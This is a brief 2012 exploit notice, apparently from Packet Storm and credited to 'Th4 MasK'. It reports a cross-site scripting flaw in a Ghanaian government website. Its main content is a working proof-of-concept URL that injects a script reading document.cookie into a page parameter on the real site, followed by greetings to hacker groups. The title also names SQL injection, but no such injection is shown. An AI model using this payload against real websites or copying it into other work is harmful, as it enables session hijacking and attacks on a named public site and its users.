Ghana50.Gov Cross Site Scripting / SQL Injecktion

#######################################################

~ Exploit Title:  Ghana50.Gov Cross Site Scripting 

~ Author: Th4 MasK 

~ Software Link: http://www.ghana50.gov.gh/

~ Date : 27.06.2012 

~ Platform : Php 

# Tested On : Windows 
 
########################################################

~ Demo Site :

~ http://www.ghana50.gov.gh/tourism/index.php?op=getAshantisiteInfo&id=<script>alert(document.cookie)</script>

########################################################

~ Greetz: http://th4mask.blogspot.com ~ DarkdevilZ.in

########################################################
Special Thanks : Mugair  
######################################################## 

http://packetstormsecurity.org/files/114356/Ghana50.gov.gh-Cross-Site-Scripting.html